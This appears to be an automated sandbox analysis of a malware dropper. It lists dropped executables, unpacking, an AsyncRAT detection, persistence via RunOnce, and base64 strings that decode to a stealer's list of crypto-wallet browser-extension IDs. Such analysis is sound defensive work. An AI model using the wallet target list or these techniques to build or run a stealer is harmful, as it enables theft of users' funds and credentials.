udG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 19.0.namdoitntn.exe.470000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV
Source: 24.0.jshainx.exe.7e0000.0.unpack, BrEx.cs	Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5736:120:WilError_01
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Mutant created: \Sessions\1\BaseNamedObjects\iqroq5112542785672901323

Source: SETUP_~1.EXE.29.dr, u0010/u0010.cs

Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Automated click: OK
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Automated click: OK

Source: C:\Users\user\Desktop\em1B8DcC72.exe

File opened: C:\Windows\SysWOW64\msftedit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\GoogleUpdater

Jump to behavior

Source: em1B8DcC72.exe

Static file information: File size 2772334 > 1048576

Source:	Binary string: freebl3.pdb source: freebl3.dll.16.dr
Source:	Binary string: wextract.pdb source: captain09876.exe, 0000001D.00000002.849810526.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp, captain09876.exe, 0000001D.00000000.403901022.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: wextract.pdbGCTL source: captain09876.exe, 0000001D.00000002.849810526.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp, captain09876.exe, 0000001D.00000000.403901022.00007FF7BC519000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\wiroguzaxun\lefereyocimuwu-fep\22\wipo\57_so.pdb source: F0geI.exe, 00000010.00000000.367471922.0000000000401000.00000020.00000001.01000000.00000004.sdmp
Source:	Binary string: mozglue.pdb@+ source: mozglue.dll.16.dr
Source:	Binary string: C:\Soboya xola sikine\nalac\Lohoc\Docamap.pdbp` source: ordo_sec666.exe.1.dr
Source:	Binary string: mozglue.pdb source: mozglue.dll.16.dr
Source:	Binary string: C:\Soboya xola sikine\nalac\Lohoc\Docamap.pdb source: ordo_sec666.exe.1.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.16.dr
Source:	Binary string: d:\agent\_work\2\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.16.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Unpacked PE file: 16.2.F0geI.exe.400000.0.unpack
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Unpacked PE file: 18.2.kukurzka9000.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Unpacked PE file: 16.2.F0geI.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.CRT:R;.reloc:R;
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Unpacked PE file: 18.2.kukurzka9000.exe.400000.0.unpack CODE:ER;DATA:W;BSS:W;.idata:W;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.CRT:R;.reloc:R;

.NET source code contains potential unpacker

Source: SETUP_~1.EXE.29.dr, u0010/u0010.cs

.Net Code: \x01 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\em1B8DcC72.exe	Code function: 1_3_02A4422D push FFFFFFB7h; retf	1_3_02A4422F
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Code function: 1_3_02A46059 push ecx; ret	1_3_02A4606C
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Code function: 1_3_02A43F61 push ss; ret	1_3_02A43F62
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0254EFE0 push edx; ret	18_2_0254F158
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0254EE90 push edx; ret	18_2_0254EE9B

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_00408ADD LocalAlloc,GetDesktopWindow,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LocalAlloc,GetClientRect,SetStretchBltMode,GetSystemMetrics,StretchBlt,GetSystemMetrics,StretchBlt,SelectObject,GetObjectW,LocalAlloc,CreateFileW,CreateFileW,LocalAlloc,LocalAlloc,StrCpyW,WideCharToMultiByte,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteObject,DeleteObject,

16_2_00408ADD

Source: ffnameedit.exe.1.dr

Static PE information: 0xC02D666A [Thu Mar 3 03:20:10 2072 UTC]

Source: nss3.dll.16.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.16.dr	Static PE information: section name: .didat
Source: mozglue.dll.16.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.16.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.16.dr	Static PE information: section name: .00cfg
Source: sqlite3.dll.16.dr	Static PE information: section name: /4
Source: sqlite3.dll.16.dr	Static PE information: section name: /19
Source: sqlite3.dll.16.dr	Static PE information: section name: /31
Source: sqlite3.dll.16.dr	Static PE information: section name: /45
Source: sqlite3.dll.16.dr	Static PE information: section name: /57
Source: sqlite3.dll.16.dr	Static PE information: section name: /70
Source: sqlite3.dll.16.dr	Static PE information: section name: /81
Source: sqlite3.dll.16.dr	Static PE information: section name: /92

Source: em1B8DcC72.exe	Static PE information: real checksum: 0x3b377 should be: 0x2a90e9
Source: ffnameedit.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x27f85
Source: DllResource.exe.30.dr	Static PE information: real checksum: 0x1bb975 should be: 0x1c98a8
Source: namdoitntn.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x1ad86
Source: real.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x5422a
Source: jshainx.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x1d394
Source: EU1.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4e01f
Source: kukurzka9000.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0xc1aef
Source: brokerius.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4c2bd
Source: ordo_sec666.exe.1.dr	Static PE information: real checksum: 0x1bb975 should be: 0x1c98a8
Source: safert44.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4c647

Source: initial sample	Static PE information: section name: .text entropy: 7.993561805567131
Source: initial sample	Static PE information: section name: .text entropy: 7.993561805567131

Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\real.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	File created: C:\Users\user\TypeRes\DllResource.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	File created: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\em1B8DcC72.exe	File created: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Jump to dropped file
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: SETUP_~1.EXE PID: 2708, type: MEMORYSTR

Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

16_2_00408ADD

Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Process information set: NOOPENFILEERRORBOX
